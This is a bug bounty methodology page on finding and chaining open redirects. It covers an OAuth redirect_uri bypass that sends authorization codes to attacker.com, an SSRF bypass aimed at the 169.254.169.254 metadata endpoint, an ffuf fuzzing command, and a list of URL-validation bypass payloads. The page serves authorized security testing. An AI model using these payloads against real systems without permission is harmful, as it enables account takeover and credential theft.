BugBounty.info

Open Redirect

3 min read

Open Redirect

An open redirect on its own is almost never worth reporting. Most programs rate it P4 or informational. The rare exceptions are programs with very generous scopes or ones that explicitly call it out as in-scope. The real value - and the only time I spend significant energy on them - is as a component in a chain.

Per my notes: don't report open redirects as standalone findings unless the program explicitly pays for them.

Where Open Redirects Actually Matter

flowchart TD
    A["Open Redirect on target.com"] --> B{"What can it unlock?"}
    B --> C["OAuth redirect_uri bypass"]
    B --> D["SSRF filter bypass"]
    B --> E["Phishing under trusted domain"]
    B --> F["Token leak via Referer"]
    C --> G["High/Critical"]
    D --> G
    E --> H["Medium"]
    F --> G

OAuth Chain (Most Valuable)

If the OAuth flow uses redirect_uri validation that can be bypassed via an open redirect on the allowed domain:

Normal: /oauth/authorize?client_id=app&redirect_uri=https://target.com/callback
Attack: /oauth/authorize?client_id=app&redirect_uri=https://target.com/redirect?url=https://attacker.com

If target.com/redirect is an open redirect and the OAuth server only validates that redirect_uri starts with https://target.com, the auth code lands at attacker.com in the URL fragment/query. See OAuth.

SSRF Filter Bypass

Server-side URL fetch that validates against a whitelist - if the validated URL redirects to an internal address, some implementations follow the redirect:

Allowed: https://target.com/*
Attack: https://target.com/redirect?url=http://169.254.169.254/metadata

Finding Open Redirects

Parameter Names to Fuzz

url, redirect, next, return, returnTo, return_url, redirect_url, goto,
dest, destination, continue, target, redir, r, u, link, navigate,
successUrl, failureUrl, cancelUrl, back, forward, to, from, path
# Fuzz common redirect parameters across a site
ffuf -w params.txt:PARAM -u "https://target.com/login?PARAM=https://evil.com" \
  -mr "Location: https://evil.com" -H "User-Agent: Mozilla/5.0"

Post-Authentication Flows

Login, logout, and OAuth callback handlers are the most common locations. After login: ?next=/dashboard - change to ?next=https://evil.com. After logout: ?returnTo=https://evil.com.

JavaScript-Based Redirects

window.location = getParam('redirect');
document.location.href = decodeURIComponent(getParam('url'));
history.pushState(null, null, getParam('path'));

These don't produce HTTP 302 responses - they only fire client-side. Burp's passive scanner misses them. You need to look at JS source for URL parameter usage feeding into location, location.href, location.assign, location.replace.

Bypass Techniques

When an app tries to validate redirect URLs, these are the patterns worth testing:

# Protocol bypass
//evil.com
\/\/evil.com
https:evil.com
javascript://evil.com%0aalert(1)
 
# Domain confusion
https://evil.com@target.com           ← user@host  -  browser goes to target.com but some parsers go to evil.com
https://target.com.evil.com
https://target.com%2fevil.com%2f..
 
# Path traversal
https://target.com/../../evil.com
https://target.com/redirect/../../../evil.com
 
# Encoded characters
https://evil%2ecom
https://evil.com%23@target.com        ← fragment confusion
https://evil.com%3F@target.com        ← query confusion
 
# Null byte / truncation
https://target.com%00https://evil.com

Apps that validate "must start with https://target.com":

https://target.com.evil.com            ← passes prefix check
https://target.com@evil.com            ← passes prefix check in some parsers
https://target.com%2F@evil.com

Documenting for Chain Reports

When you find an open redirect that enables a chain, lead with the chain impact:

"Open redirect at /redirect?url= allows bypassing OAuth redirect_uri validation, resulting in authorization code exfiltration and account takeover."

The open redirect is one sentence of context. The account takeover is the finding.

Checklist

  • Identify all redirect/return/next parameters in the app
  • Test login, logout, and OAuth callback handlers
  • Check post-registration flows (where does it send you after signup?)
  • Test bypass patterns for any validation: protocol, domain confusion, encoding
  • Search JS source for location = using parameter input
  • For any open redirect found: immediately assess OAuth chain viability
  • For any open redirect found: test SSRF chain if server-side fetching exists

See Also

Graph View

Backlinks